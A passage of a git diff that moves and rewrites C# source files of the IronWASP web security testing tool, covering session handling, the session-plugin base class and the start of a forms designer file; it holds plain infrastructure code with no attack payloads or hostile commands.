Fiddler.Session Sess = Session.CreateFiddlerSessionFromRequestString(RequestString); - Session IrSe = new Session(Sess); - return IrSe; - } - - static Fiddler.Session CreateFiddlerSessionFromRequestString(string RequestString) - { - string[] RequestParts = RequestString.Split(new string[] { "\r\n\r\n" }, 2, StringSplitOptions.RemoveEmptyEntries); - Fiddler.HTTPRequestHeaders RequestHeaders = new Fiddler.HTTPRequestHeaders(); - RequestHeaders.AssignFromString(RequestParts[0] + "\r\n\r\n"); - byte[] RequestBody = new byte[] { }; - if (RequestParts.Length > 1) - { - RequestBody = Encoding.GetEncoding("ISO-8859-1").GetBytes(RequestParts[1]); - } - Fiddler.Session Sess = new Fiddler.Session(RequestHeaders, RequestBody); - return Sess; - } - - public string GetResponseAsString() - { - return (((Fiddler.HTTPHeaders)this.FiddlerSession.oResponse.headers).ToString() + "\r\n" + this.FiddlerSession.GetResponseBodyAsString()); - } - - public int GetId() - { - return this.Request.GetId(); - } - - public Session GetClone() - { - Session ClonedIrSe = null; - if (this.Response != null) - { - ClonedIrSe = new Session(this.Request.GetClone(), this.Response.GetClone()); - } - else - { - ClonedIrSe = new Session(this.Request.GetClone()); - } - return ClonedIrSe; - } - - internal void UpdateFiddlerSessionFromIronSession() - { - if (this.Response == null) - { - this.FiddlerSession.oRequest.headers.AssignFromString(this.Request.GetHeadersAsString()); - this.FiddlerSession.requestBodyBytes = this.Request.BodyArray; - } - else - { - this.FiddlerSession.oResponse.headers.AssignFromString(this.Response.GetHeadersAsString()); - this.FiddlerSession.responseBodyBytes = this.Response.BodyArray; - } - } - - public static Session FromProxyLog(int ID) - { - IronLogRecord ILR = IronDB.GetRecordFromProxyLog(ID); - return Session.GetIronSessionFromIronLogRecord(ILR, true, ID); - } - - public static Session FromTestLog(int ID) - { - IronLogRecord ILR = IronDB.GetRecordFromTestLog(ID); - return Session.GetIronSessionFromIronLogRecord(ILR, ID); - } - - public static Session FromShellLog(int ID) - { - IronLogRecord ILR = IronDB.GetRecordFromShellLog(ID); - return Session.GetIronSessionFromIronLogRecord(ILR, ID); - } - - public static Session FromProbeLog(int ID) - { - IronLogRecord ILR = IronDB.GetRecordFromProbeLog(ID); - return Session.GetIronSessionFromIronLogRecord(ILR, ID); - } - - public static Session FromScanLog(int ID) - { - IronLogRecord ILR = IronDB.GetRecordFromScanLog(ID); - return Session.GetIronSessionFromIronLogRecord(ILR, ID); - } - - public static Session FromLog(int ID, string Source) - { - switch (Source) - { - case ("Proxy"): - return FromProxyLog(ID); - case ("Probe"): - return FromProbeLog(ID); - case ("Test"): - return FromTestLog(ID); - case ("Shell"): - return FromShellLog(ID); - case ("Scan"): - return FromScanLog(ID); - default: - IronLogRecord ILR = IronDB.GetRecordFromOtherSourceLog(ID, Source); - return Session.GetIronSessionFromIronLogRecord(ILR, ID); - } - } - - public static List FromProxyLog() - { - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromProxyLog()) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - - public static List FromTestLog() - { - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromTestLog()) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - - public static List FromShellLog() - { - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromShellLog()) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - - public static List FromProbeLog() - { - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromProbeLog()) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - - public static List FromScanLog() - { - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromScanLog()) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - - public static List FromLog(string Source) - { - switch (Source) - { - case ("Proxy"): - return FromProxyLog(); - case ("Probe"): - return FromProbeLog(); - case ("Test"): - return FromTestLog(); - case ("Shell"): - return FromShellLog(); - case ("Scan"): - return FromScanLog(); - default: - List Sessions = new List(); - foreach (IronLogRecord ILR in IronDB.GetRecordsFromOtherSourceLog(Source)) - { - try - { - Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); - } - catch { } - } - return Sessions; - } - } - - internal static Session GetIronSessionFromIronLogRecord(IronLogRecord ILR, int ID) - { - return GetIronSessionFromIronLogRecord(ILR, false, ID); - } - - internal static Session GetIronSessionFromIronLogRecord(IronLogRecord ILR, bool IsFromProxy, int ID) - { - Session IrSe; - Request Req = GetRequest(ILR.RequestHeaders, ILR.RequestBody, ILR.IsRequestBinary); - Req.ID = ID; - - if (ILR.ResponseHeaders.Length > 0) - { - Response Res = GetResponse(ILR.ResponseHeaders, ILR.ResponseBody, ILR.IsResponseBinary); - Res.TTL = ILR.RoundTrip; - IrSe = new Session(Req, Res); - IrSe.Request.ID = ID; - } - else - { - IrSe = new Session(Req); - IrSe.Request.ID = ID; - } - if (IsFromProxy) - { - if (ILR.OriginalRequestHeaders.Length > 0) - { - IrSe.OriginalRequest = GetRequest(ILR.OriginalRequestHeaders, ILR.OriginalRequestBody, ILR.IsOriginalRequestBinary); - IrSe.OriginalRequest.ID = ID; - } - else - { - IrSe.OriginalRequest = null; - } - if (ILR.OriginalResponseHeaders.Length > 0) - { - IrSe.OriginalResponse = GetResponse(ILR.OriginalResponseHeaders, ILR.OriginalResponseBody, ILR.IsOriginalResponseBinary); - IrSe.OriginalResponse.TTL = ILR.RoundTrip; - IrSe.OriginalResponse.ID = ID; - } - else - { - IrSe.OriginalResponse = null; - } - } - return IrSe; - } - - static Request GetRequest(string RequestHeaders, string RequestBody, bool IsRequestBinary) - { - Request Req; - if (IsRequestBinary) - { - if (RequestBody.Length > 0) - { - byte[] BodyArray; - try - { - BodyArray = Convert.FromBase64String(RequestBody); - } - catch (Exception Exp) - { - throw new Exception("Error retriving body array from base64 string", Exp); - } - Req = new Request(RequestHeaders, BodyArray); - } - else - { - Req = new Request(RequestHeaders, false, true); - } - } - else - { - Req = new Request(RequestHeaders + RequestBody, false, true); - } - return Req; - } - - static Response GetResponse(string ResponseHeaders, string ResponseBody, bool IsResponseBinary) - { - Response Res; - if (IsResponseBinary) - { - if (ResponseBody.Length > 0) - { - byte[] BodyArray; - try - { - BodyArray = Convert.FromBase64String(ResponseBody); - } - catch (Exception Exp) - { - throw new Exception("Error retriving body array from base64 string", Exp); - } - Res = new Response(ResponseHeaders, BodyArray); - } - else - { - Res = new Response(ResponseHeaders); - } - } - else - { - Res = new Response(ResponseHeaders + ResponseBody); - } - return Res; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Threading; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Text; + +namespace IronWASP +{ + public class Session + { + internal Fiddler.Session FiddlerSession; + public Request Request; + public Response Response; + internal ManualResetEvent MSR; + + //to be used only by IronProxy + internal Request OriginalRequest; + internal Response OriginalResponse; + + internal Dictionary Flags = new Dictionary(); + + public int LogId + { + get + { + return this.GetId(); + } + } + + public Session(Fiddler.Session _FiddlerSession) + { + this.FiddlerSession = _FiddlerSession; + this.Request = new Request(this.FiddlerSession); + try + { + this.Response = new Response(this.FiddlerSession); + } + catch { } + } + + public Session(string RequestString, string ResponseString) + { + this.Request = new Request(RequestString,false,true); + this.Response = new Response(ResponseString); + this.FiddlerSession = new Fiddler.Session(this.Request.GetFullRequestAsByteArray(), this.Response.GetFullResponseAsByteArray()); + } + + public Session(Request Request, Response Response) + { + this.Request = Request; + this.Response = Response; + this.FiddlerSession = new Fiddler.Session(this.Request.GetFullRequestAsByteArray(), this.Response.GetFullResponseAsByteArray()); + } + + public Session(int LogId, Request Request, Response Response) + { + this.Request = Request; + this.Response = Response; + this.Request.ID = LogId; + } + + public Session(string RequestString) + { + this.FiddlerSession = Session.CreateFiddlerSessionFromRequestString(RequestString); + this.Request = new Request(this.FiddlerSession); + } + + public Session(Request Req) + { + this.FiddlerSession = Req.ReturnAsFiddlerSession(); + this.Request = Req; + } + + public Session() + { + + } + + internal int ID + { + set + { + FiddlerSession.oFlags["IronFlag-ID"] = value.ToString(); + this.Request.ID = value; + } + get + { + return Int32.Parse(FiddlerSession.oFlags["IronFlag-ID"]); + } + } + + public static Session CreateSessionFromRequestString(string RequestString) + { + Fiddler.Session Sess = Session.CreateFiddlerSessionFromRequestString(RequestString); + Session IrSe = new Session(Sess); + return IrSe; + } + + static Fiddler.Session CreateFiddlerSessionFromRequestString(string RequestString) + { + string[] RequestParts = RequestString.Split(new string[] { "\r\n\r\n" }, 2, StringSplitOptions.RemoveEmptyEntries); + Fiddler.HTTPRequestHeaders RequestHeaders = new Fiddler.HTTPRequestHeaders(); + RequestHeaders.AssignFromString(RequestParts[0] + "\r\n\r\n"); + byte[] RequestBody = new byte[] { }; + if (RequestParts.Length > 1) + { + RequestBody = Encoding.GetEncoding("ISO-8859-1").GetBytes(RequestParts[1]); + } + Fiddler.Session Sess = new Fiddler.Session(RequestHeaders, RequestBody); + return Sess; + } + + public string GetResponseAsString() + { + return (((Fiddler.HTTPHeaders)this.FiddlerSession.oResponse.headers).ToString() + "\r\n" + this.FiddlerSession.GetResponseBodyAsString()); + } + + public int GetId() + { + return this.Request.GetId(); + } + + public Session GetClone() + { + Session ClonedIrSe = null; + if (this.Response != null) + { + ClonedIrSe = new Session(this.Request.GetClone(), this.Response.GetClone()); + } + else + { + ClonedIrSe = new Session(this.Request.GetClone()); + } + return ClonedIrSe; + } + + internal void UpdateFiddlerSessionFromIronSession() + { + if (this.Response == null) + { + this.FiddlerSession.oRequest.headers.AssignFromString(this.Request.GetHeadersAsString()); + this.FiddlerSession.requestBodyBytes = this.Request.BodyArray; + } + else + { + this.FiddlerSession.oResponse.headers.AssignFromString(this.Response.GetHeadersAsString()); + this.FiddlerSession.responseBodyBytes = this.Response.BodyArray; + } + } + + public static Session FromProxyLog(int ID) + { + IronLogRecord ILR = IronDB.GetRecordFromProxyLog(ID); + return Session.GetIronSessionFromIronLogRecord(ILR, true, ID); + } + + public static Session FromTestLog(int ID) + { + IronLogRecord ILR = IronDB.GetRecordFromTestLog(ID); + return Session.GetIronSessionFromIronLogRecord(ILR, ID); + } + + public static Session FromShellLog(int ID) + { + IronLogRecord ILR = IronDB.GetRecordFromShellLog(ID); + return Session.GetIronSessionFromIronLogRecord(ILR, ID); + } + + public static Session FromProbeLog(int ID) + { + IronLogRecord ILR = IronDB.GetRecordFromProbeLog(ID); + return Session.GetIronSessionFromIronLogRecord(ILR, ID); + } + + public static Session FromScanLog(int ID) + { + IronLogRecord ILR = IronDB.GetRecordFromScanLog(ID); + return Session.GetIronSessionFromIronLogRecord(ILR, ID); + } + + public static Session FromLog(int ID, string Source) + { + switch (Source) + { + case ("Proxy"): + return FromProxyLog(ID); + case ("Probe"): + return FromProbeLog(ID); + case ("Test"): + return FromTestLog(ID); + case ("Shell"): + return FromShellLog(ID); + case ("Scan"): + return FromScanLog(ID); + default: + IronLogRecord ILR = IronDB.GetRecordFromOtherSourceLog(ID, Source); + return Session.GetIronSessionFromIronLogRecord(ILR, ID); + } + } + + public static List FromProxyLog() + { + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromProxyLog()) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + + public static List FromTestLog() + { + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromTestLog()) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + + public static List FromShellLog() + { + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromShellLog()) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + + public static List FromProbeLog() + { + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromProbeLog()) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + + public static List FromScanLog() + { + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromScanLog()) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + + public static List FromLog(string Source) + { + switch (Source) + { + case ("Proxy"): + return FromProxyLog(); + case ("Probe"): + return FromProbeLog(); + case ("Test"): + return FromTestLog(); + case ("Shell"): + return FromShellLog(); + case ("Scan"): + return FromScanLog(); + default: + List Sessions = new List(); + foreach (IronLogRecord ILR in IronDB.GetRecordsFromOtherSourceLog(Source)) + { + try + { + Sessions.Add(Session.GetIronSessionFromIronLogRecord(ILR, ILR.ID)); + } + catch { } + } + return Sessions; + } + } + + internal static Session GetIronSessionFromIronLogRecord(IronLogRecord ILR, int ID) + { + return GetIronSessionFromIronLogRecord(ILR, false, ID); + } + + internal static Session GetIronSessionFromIronLogRecord(IronLogRecord ILR, bool IsFromProxy, int ID) + { + Session IrSe; + Request Req = GetRequest(ILR.RequestHeaders, ILR.RequestBody, ILR.IsRequestBinary); + Req.ID = ID; + + if (ILR.ResponseHeaders.Length > 0) + { + Response Res = GetResponse(ILR.ResponseHeaders, ILR.ResponseBody, ILR.IsResponseBinary); + Res.TTL = ILR.RoundTrip; + IrSe = new Session(Req, Res); + IrSe.Request.ID = ID; + } + else + { + IrSe = new Session(Req); + IrSe.Request.ID = ID; + } + if (IsFromProxy) + { + if (ILR.OriginalRequestHeaders.Length > 0) + { + IrSe.OriginalRequest = GetRequest(ILR.OriginalRequestHeaders, ILR.OriginalRequestBody, ILR.IsOriginalRequestBinary); + IrSe.OriginalRequest.ID = ID; + } + else + { + IrSe.OriginalRequest = null; + } + if (ILR.OriginalResponseHeaders.Length > 0) + { + IrSe.OriginalResponse = GetResponse(ILR.OriginalResponseHeaders, ILR.OriginalResponseBody, ILR.IsOriginalResponseBinary); + IrSe.OriginalResponse.TTL = ILR.RoundTrip; + IrSe.OriginalResponse.ID = ID; + } + else + { + IrSe.OriginalResponse = null; + } + } + return IrSe; + } + + static Request GetRequest(string RequestHeaders, string RequestBody, bool IsRequestBinary) + { + Request Req; + if (IsRequestBinary) + { + if (RequestBody.Length > 0) + { + byte[] BodyArray; + try + { + BodyArray = Convert.FromBase64String(RequestBody); + } + catch (Exception Exp) + { + throw new Exception("Error retriving body array from base64 string", Exp); + } + Req = new Request(RequestHeaders, BodyArray); + } + else + { + Req = new Request(RequestHeaders, false, true); + } + } + else + { + Req = new Request(RequestHeaders + RequestBody, false, true); + } + return Req; + } + + static Response GetResponse(string ResponseHeaders, string ResponseBody, bool IsResponseBinary) + { + Response Res; + if (IsResponseBinary) + { + if (ResponseBody.Length > 0) + { + byte[] BodyArray; + try + { + BodyArray = Convert.FromBase64String(ResponseBody); + } + catch (Exception Exp) + { + throw new Exception("Error retriving body array from base64 string", Exp); + } + Res = new Response(ResponseHeaders, BodyArray); + } + else + { + Res = new Response(ResponseHeaders); + } + } + else + { + Res = new Response(ResponseHeaders + ResponseBody); + } + return Res; + } + } +} diff --git a/IronWASP/SessionPlugin.cs b/Iron/SessionPlugin.cs similarity index 97% rename from IronWASP/SessionPlugin.cs rename to Iron/SessionPlugin.cs index ae9b3af..74f3f58 100644 --- a/IronWASP/SessionPlugin.cs +++ b/Iron/SessionPlugin.cs @@ -1,233 +1,233 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class SessionPlugin : Plugin - { - internal static List Collection = new List(); - - //public bool IsLoggedIn = false; - //public string Cookie = ""; - //public string Token = ""; - //public int MaxReDoCount = 5; - - //Dictionary> SyncWaitQueue = new Dictionary>(); - //Dictionary SyncManageQueue = new Dictionary(); - //int SyncID = 0; - - //virtual public Request Update(Request Request, Response Response) - //{ - // Request.SetCookie(Response); - // return Request; - //} - - //virtual public Request Login(Request Request, Response Response) - //{ - // return Request; - //} - - virtual public Response GetBaseLine(Scanner Scanner, Request Request) - { - return Scanner.Inject(); - } - - //virtual public Request PrepareForInjection(Request Request) - //{ - // return Request; - //} - - //virtual public Response GetInterestingResponse(Request Request, Response Response) - //{ - // return Response; - //} - - virtual public bool CanInject(Scanner Scanner, Request Request) - { - return true; - } - - virtual public string EncodePayload(string RequestSection, Request Request, string Payload) - { - return Payload; - } - - //virtual public bool ShouldReDo(Scanner Scnr, Request Req, Response Res) - //{ - // return false; - //} - - //protected int StartSync(string Name, int MaxTime) - //{ - // int ID = Interlocked.Increment(ref SyncID); - // int StartTime = (int)DateTime.Now.TimeOfDay.TotalSeconds; - // lock (SyncWaitQueue) - // { - // if (!SyncWaitQueue.ContainsKey(Name)) - // { - // SyncWaitQueue.Add(Name, new Queue()); - // } - // SyncWaitQueue[Name].Enqueue(ID); - // } - // while (!CanProceed(Name, ID, StartTime, MaxTime)) - // { - // Thread.Sleep(1000); - // } - // return ID; - //} - - //protected void StopSync(string Name, int JobID) - //{ - // lock (SyncManageQueue) - // { - // if (SyncManageQueue.ContainsKey(Name)) - // { - // if (SyncManageQueue[Name][0] == JobID) SyncManageQueue[Name][0] = 0; - // } - // } - //} - - //bool CanProceed(string Name, int ID, int StartTime, int MaxTime) - //{ - // bool Result = false; - // int CurrentTime = (int)DateTime.Now.TimeOfDay.TotalSeconds; - // lock (SyncManageQueue) - // { - // if (!SyncManageQueue.ContainsKey(Name)) - // { - // SyncManageQueue.Add(Name, new int[] { ID, CurrentTime, MaxTime }); - // Result = true; - // } - // else - // { - // int[] CurrentValues = SyncManageQueue[Name]; - // if (CurrentValues[0] == 0 || CurrentValues[0] == ID || ((CurrentTime - CurrentValues[1]) > CurrentValues[2])) - // { - // lock (SyncWaitQueue) - // { - // if (SyncWaitQueue.ContainsKey(Name)) - // { - // if (SyncWaitQueue[Name].Count > 0) - // { - // int FetchedID = SyncWaitQueue[Name].Dequeue(); - // SyncManageQueue[Name] = new int[] { FetchedID, CurrentTime, MaxTime }; - // if (FetchedID == ID) Result = true; - // } - // else - // { - // Result = true; - // } - // } - // else - // { - // Result = true; - // } - // } - // } - // } - // } - // return Result; - //} - - //internal Request DoLogin(Request Req, Response Res) - //{ - // int LoginSyncID = StartSync(this.Name, 120); - // Request LoggedInReq = Login(Req, Res); - // StopSync(this.Name, LoginSyncID); - // return LoggedInReq; - //} - - virtual public Request DoBeforeSending(Request Req, Response Res) - { - return Req; - } - virtual public Response DoAfterSending(Response Res, Request Req) - { - return Res; - } - - public virtual SessionPlugin GetInstance() - { - return new SessionPlugin(); - } - - public static void Add(SessionPlugin SP) - { - if ((SP.Name.Length > 0) && !(SP.Name.Equals("All") || SP.Name.Equals("None"))) - { - if (!List().Contains(SP.Name)) - { - if (SP.FileName != "Internal") - { - SP.FileName = PluginEngine.FileName; - } - Collection.Add(SP); - } - } - } - - public static List List() - { - List Names = new List(); - foreach (SessionPlugin SP in Collection) - { - Names.Add(SP.Name); - } - return Names; - } - - public static SessionPlugin Get(string Name) - { - foreach (SessionPlugin SP in Collection) - { - if (SP.Name.Equals(Name)) - { - SessionPlugin NewInstance = SP.GetInstance(); - NewInstance.FileName = SP.FileName; - return NewInstance; - } - } - return null; - } - - internal static void Remove(string Name) - { - int PluginIndex = 0; - for (int i = 0; i < Collection.Count; i++) - { - if (Collection[i].Name.Equals(Name)) - { - PluginIndex = i; - break; - } - } - Collection.RemoveAt(PluginIndex); - } - - public void Trace(Request Req, string Action, string Message) - { - IronTrace IT = new IronTrace(Req, this.Name, Action, Message); - IT.Report(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SessionPlugin : Plugin + { + internal static List Collection = new List(); + + //public bool IsLoggedIn = false; + //public string Cookie = ""; + //public string Token = ""; + //public int MaxReDoCount = 5; + + //Dictionary> SyncWaitQueue = new Dictionary>(); + //Dictionary SyncManageQueue = new Dictionary(); + //int SyncID = 0; + + //virtual public Request Update(Request Request, Response Response) + //{ + // Request.SetCookie(Response); + // return Request; + //} + + //virtual public Request Login(Request Request, Response Response) + //{ + // return Request; + //} + + virtual public Response GetBaseLine(Scanner Scanner, Request Request) + { + return Scanner.Inject(); + } + + //virtual public Request PrepareForInjection(Request Request) + //{ + // return Request; + //} + + //virtual public Response GetInterestingResponse(Request Request, Response Response) + //{ + // return Response; + //} + + virtual public bool CanInject(Scanner Scanner, Request Request) + { + return true; + } + + virtual public string EncodePayload(string RequestSection, Request Request, string Payload) + { + return Payload; + } + + //virtual public bool ShouldReDo(Scanner Scnr, Request Req, Response Res) + //{ + // return false; + //} + + //protected int StartSync(string Name, int MaxTime) + //{ + // int ID = Interlocked.Increment(ref SyncID); + // int StartTime = (int)DateTime.Now.TimeOfDay.TotalSeconds; + // lock (SyncWaitQueue) + // { + // if (!SyncWaitQueue.ContainsKey(Name)) + // { + // SyncWaitQueue.Add(Name, new Queue()); + // } + // SyncWaitQueue[Name].Enqueue(ID); + // } + // while (!CanProceed(Name, ID, StartTime, MaxTime)) + // { + // Thread.Sleep(1000); + // } + // return ID; + //} + + //protected void StopSync(string Name, int JobID) + //{ + // lock (SyncManageQueue) + // { + // if (SyncManageQueue.ContainsKey(Name)) + // { + // if (SyncManageQueue[Name][0] == JobID) SyncManageQueue[Name][0] = 0; + // } + // } + //} + + //bool CanProceed(string Name, int ID, int StartTime, int MaxTime) + //{ + // bool Result = false; + // int CurrentTime = (int)DateTime.Now.TimeOfDay.TotalSeconds; + // lock (SyncManageQueue) + // { + // if (!SyncManageQueue.ContainsKey(Name)) + // { + // SyncManageQueue.Add(Name, new int[] { ID, CurrentTime, MaxTime }); + // Result = true; + // } + // else + // { + // int[] CurrentValues = SyncManageQueue[Name]; + // if (CurrentValues[0] == 0 || CurrentValues[0] == ID || ((CurrentTime - CurrentValues[1]) > CurrentValues[2])) + // { + // lock (SyncWaitQueue) + // { + // if (SyncWaitQueue.ContainsKey(Name)) + // { + // if (SyncWaitQueue[Name].Count > 0) + // { + // int FetchedID = SyncWaitQueue[Name].Dequeue(); + // SyncManageQueue[Name] = new int[] { FetchedID, CurrentTime, MaxTime }; + // if (FetchedID == ID) Result = true; + // } + // else + // { + // Result = true; + // } + // } + // else + // { + // Result = true; + // } + // } + // } + // } + // } + // return Result; + //} + + //internal Request DoLogin(Request Req, Response Res) + //{ + // int LoginSyncID = StartSync(this.Name, 120); + // Request LoggedInReq = Login(Req, Res); + // StopSync(this.Name, LoginSyncID); + // return LoggedInReq; + //} + + virtual public Request DoBeforeSending(Request Req, Response Res) + { + return Req; + } + virtual public Response DoAfterSending(Response Res, Request Req) + { + return Res; + } + + public virtual SessionPlugin GetInstance() + { + return new SessionPlugin(); + } + + public static void Add(SessionPlugin SP) + { + if ((SP.Name.Length > 0) && !(SP.Name.Equals("All") || SP.Name.Equals("None"))) + { + if (!List().Contains(SP.Name)) + { + if (SP.FileName != "Internal") + { + SP.FileName = PluginEngine.FileName; + } + Collection.Add(SP); + } + } + } + + public static List List() + { + List Names = new List(); + foreach (SessionPlugin SP in Collection) + { + Names.Add(SP.Name); + } + return Names; + } + + public static SessionPlugin Get(string Name) + { + foreach (SessionPlugin SP in Collection) + { + if (SP.Name.Equals(Name)) + { + SessionPlugin NewInstance = SP.GetInstance(); + NewInstance.FileName = SP.FileName; + return NewInstance; + } + } + return null; + } + + internal static void Remove(string Name) + { + int PluginIndex = 0; + for (int i = 0; i < Collection.Count; i++) + { + if (Collection[i].Name.Equals(Name)) + { + PluginIndex = i; + break; + } + } + Collection.RemoveAt(PluginIndex); + } + + public void Trace(Request Req, string Action, string Message) + { + IronTrace IT = new IronTrace(Req, this.Name, Action, Message); + IT.Report(); + } + } +} diff --git a/IronWASP/SessionPluginCreationAssistant.Designer.cs b/Iron/SessionPluginCreationAssistant.Designer.cs similarity index 97% rename from IronWASP/SessionPluginCreationAssistant.Designer.cs rename to Iron/SessionPluginCreationAssistant.Designer.cs index 9238ca9..686c4de 100644 --- a/IronWASP/SessionPluginCreationAssistant.Designer.cs +++ b/Iron/SessionPluginCreationAssistant.Designer.cs @@ -1,1251 +1,1251 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class SessionPluginCreationAssistant - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SessionPluginCreationAssistant)); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - this.AnswerTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.BigAnswerTB = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.SubmitAnswerBtn = new System.Windows.Forms.Button(); - this.QuestionRTB = new System.Windows.Forms.RichTextBox(); - this.StatusTB = new System.Windows.Forms.TextBox(); - this.BaseSplit = new System.Windows.Forms.SplitContainer(); - this.AnswerTabs = new System.Windows.Forms.TabControl(); - this.TextAnswerTab = new System.Windows.Forms.TabPage(); - this.RequestSourceAnswerTab = new System.Windows.Forms.TabPage(); - this.label11 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.RequestSourceNameTB = new System.Windows.Forms.TextBox(); - this.RequestSourceAnswerMsgTB = new System.Windows.Forms.TextBox(); - this.label4 = new System.Windows.Forms.Label(); - this.RequestSourceIdTB = new System.Windows.Forms.TextBox(); - this.RequestSourceAnswerSubmitBtn = new System.Windows.Forms.Button(); - this.label3 = new System.Windows.Forms.Label(); - this.RequestSourceCombo = new System.Windows.Forms.ComboBox(); - this.ParameterAnswerTab = new System.Windows.Forms.TabPage(); - this.DeleteParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); - this.EditParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); - this.AddParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); - this.UserHintPanel = new System.Windows.Forms.Panel(); - this.ParameterAskUserHintTB = new System.Windows.Forms.TextBox(); - this.ParameterFourLbl = new System.Windows.Forms.Label(); - this.HowToParseResponsePanel = new System.Windows.Forms.Panel(); - this.ParameterThreeLbl = new System.Windows.Forms.Label(); - this.ParseParameterFromHtmlRB = new System.Windows.Forms.RadioButton(); - this.ParseParameterFromRegexRB = new System.Windows.Forms.RadioButton(); - this.ParameterParseRegexTB = new System.Windows.Forms.TextBox(); - this.HowToUpdateParameterPanel = new System.Windows.Forms.Panel(); - this.ParameterSourceFromResponseRB = new System.Windows.Forms.RadioButton(); - this.ParameterSourceFromUserRB = new System.Windows.Forms.RadioButton(); - this.ParameterTwoLbl = new System.Windows.Forms.Label(); - this.ParametersDescLL = new System.Windows.Forms.LinkLabel(); - this.ParametersAnswerMsgTB = new System.Windows.Forms.TextBox(); - this.ParameterOneLbl = new System.Windows.Forms.Label(); - this.ParameterNameTB = new 